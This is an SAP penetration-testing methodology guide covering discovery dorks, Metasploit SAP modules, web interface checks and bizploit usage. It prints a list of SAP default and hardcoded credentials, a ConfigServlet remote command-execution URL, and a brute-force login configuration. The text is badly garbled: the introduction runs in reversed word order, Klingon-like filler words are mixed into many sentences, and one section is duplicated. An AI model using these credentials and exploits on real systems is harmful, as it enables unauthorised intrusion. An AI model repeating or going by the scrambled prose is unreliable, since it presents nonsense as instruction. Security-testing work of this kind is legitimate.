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# SAP about Introduction SAP **Data Processing** **in** **Applications** **and** **Systems** **stands**. **Software** **ERP** **the** **of** **name** **also** **definition**, **company** **the** **of** **name** **the** **as** **well** **as**. SAP **management** **business** **of** **aspect** **every** **virtually** **covers** **which**, **modules** **integrated** **fully** **of** **number** **a** **of** **consists** **system** **SAP**. SAP **layers** **three**: **presentation**, **application** **and** **database**, **layers** **the** **of** **each** **SID** **or** **instance** **SAP** **Each**, **production** **and** **QA** **test**, **dev**, **instances** **four** **usually** **landscape** **each**. **extent** **some** **to** **exploited** **be** **can** **layers** **the** **of** **each**, **database** **the** **attacking** **by** **gained** **be** **can** **effect** **most** **but**. SAP **clients** **into** **divided** **is** **instance** **SAP** **Each**. **"root"** **of** **equivalent** **application’s** **the** **has** **one** **Each** **environments** **dev** **or** **test** **in** **changed** **aren’t** **often** **how** **if** **you** **Surprised**! **server** **any** **of** **shell** **the** **to** **access** **get** **to** **Try** **mechanism** **Lockout** **Account** **be** **can** **there** **whoever**, **help** **can** **Bruteforcing**. # Discovery > **shipcod3** **user** **from** [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) **from** **mostly** **is** **section** **Next**! * **testing** **for** **Brief** **Program** **or** **Scope** **Application** **the** **Check**. **connecting** **for** **instances** **system** **or** **hostnames** **of** **note** **Take** **to** **if** **information** **juicy** **and** **subdomains**, **files**, **for** **check** **Dorks** **Google** **and** **Shodan** **intelligence** **source** **open** **OSINT** **Use** **public** **or** **Internet-facing** **is** **application**. ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf inurl:/wsnavigator/jsps/test.jsp inurl:/irj/go/km/docs/ https://www.shodan.io/search?query=sap+portal https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+J2EE+Engine ``` * [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) jImej  * nmap vItlh open ports je known services \(sap routers, webdnypro, web services, web servers, etc.\) laH * web server running vaj crawl URLs. * web servers on certain ports vaj Burp Intruder vIghoj. SecLists Project vItlh provided wordlists vaj default SAP ICM Paths je 'ej vItlh interesting directories je files vIghoj: [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) * SAP SERVICE DISCOVERY auxiliary Metasploit module vIghoj vaj SAP instances/services/components vItlh enumerating: ```text msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` ## Testing the Thick Client / SAP GUI Here is the command to connect to SAP GUI `sapgui ` * Check for default credentials (In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration | Using Default Credentials | Production Server): --- ## Testing the Thick Client / SAP GUI Here is the command to connect to SAP GUI `sapgui ` * Check for default credentials (In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration | Using Default Credentials | Production Server): ```text # SAP* - High privileges - Hardcoded kernel user SAP*:06071992:* SAP*:PASS:* # IDEADM - High Privileges - Only in IDES systems IDEADM:admin:* # DDIC - High privileges - User has SAP_ALL DDIC:19920706:000,001 # EARLYWATCH - High privileges EARLYWATCH:SUPPORT:066 # TMSADM - Medium privileges TMSADM:PASSWORD:000 TMSADM:$1Pawd2&:000 # SAPCPIC - Medium privileges SAPCPIC:ADMIN:000,001 # SOLMAN dialog default users and passwords. # For more info check: # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf # https://launchpad.support.sap.com/#/notes/2293011 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems SOLMAN_ADMIN:init1234:* # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems SAPSUPPORT:init1234:* # SOLMAN - High privileges - Only on SOLMAN systems #SOLMAN:init1234:* # Trial systems # ------------- # AS ABAP 7.40 SP08 Developer Edition: # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ DDIC:DidNPLpw2014:001 SAP*:DidNPLpw2014:001 DEVELOPER:abCd1234:001 BWDEVELOPER:abCd1234:001 # AS ABAP 7.50 SP02 Developer Edition: # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ # AS ABAP 7.51 SP02 Developer Edition: # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ DDIC:Appl1ance:000,001 SAP*:Appl1ance:000,001 DEVELOPER:Appl1ance:001 BWDEVELOPER:Appl1ance:001 # AS ABAP 7.51 SP01 Developer Edition: # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ # AS ABAP 7.52 SP04 Developer Edition: # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ DDIC:Down1oad:000,001 SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` * Qap Wireshark vItlhutlh 'ej authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center. * Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users: * SU01 - To create and maintain the users * SU01D - To Display Users * SU10 - For mass maintenance * SU02 - For Manual creation of profiles * SM19 - Security audit - configuration * SE84 - Information System for SAP R/3 Authorizations * Check if you can execute system commands / run scripts in the client. * Check if you can do XSS on BAPI Explorer # Testing the web interface * Crawl the URLs \(see discovery phase\). * Fuzz the URLs like in the discovery phase. Here is what [http://SAP:50000/index.html](http://sap:50000/index.html) looks like:  * Look for common web vulnerabilities \(Refer to OWASP Top 10\) because there are XSS, RCE, XXE, etc. vulnerabilities in some places. * Check out Jason Haddix’s [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities. * Auth Bypass via verb Tampering? Maybe :\) * Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \) * Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Broken Authentication and Session Management \| Weak Login Function Over HTTP. Hint: Check out [http://SAP:50000/startPage](http://sap:50000/startPage) too or the logon portals :\)  * Try `/irj/go/km/navigation/` for possible directory listing or authentication bypass * [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information: ```xml 011 4102 BIG IE3 randomnum randomnum BRQ BRQ randomnum ORACLE 740 324 AIX -25200 192.168.1.8 749 randomnum 192.168.1.8 ``` # Qapla'! * QaD jImejDaq 'ej Windows 2000 qay'be'. * SAP discovery \(auxiliary modules\) 'ej exploits laH Metasploit modules vItlhutlh. SoHvaD: ```text msf > search sap Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow ``` * **Qap** vItlhutlh **known exploits** \(**Exploit-DB** vItlhutlh\) **ghap** **attacks** **SAP ConfigServlet Remote Code Execution** **SAP Portal**\-Daq: ```text http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a ```  * `start` jatlhlaH script bizploit Discovery phase Daq, vulnerability assessment laHlIj yIqaw. --- ```text bizploit> plugins bizploit/plugins> vulnassess all bizploit/plugins> vulnassess config bruteLogin bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True bizploit/plugins/vulnassess/config:bruteLogin> back bizploit/plugins> vulnassess config registerExtServer bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw bizploit/plugins/vulnassess/config:registerExtServer> back bizploit/plugins> vulnassess config checkRFCPrivs bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True bizploit/plugins/vulnassess/config:checkRFCPrivs> back bizploit/plugins> vulnassess config icmAdmin bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin bizploit/plugins/vulnassess/config:icmAdmin> back bizploit/plugins> start bizploit/plugins> back bizploit> start ``` # Other Useful Tools for Testing * [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell tool to assess sap security * [Burp Suite](https://portswigger.net/burp) - a must have for directory fuzzing and web security assessments * [pysap](https://github.com/SecureAuthCorp/pysap) - Python library to craft SAP network protocol packets * [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap to detect SAP/ERP ## References * [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) * [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - a script to semi-automate Bizploit * [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) * [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) * [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) * [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) * [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) * [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859) * [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) * [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)

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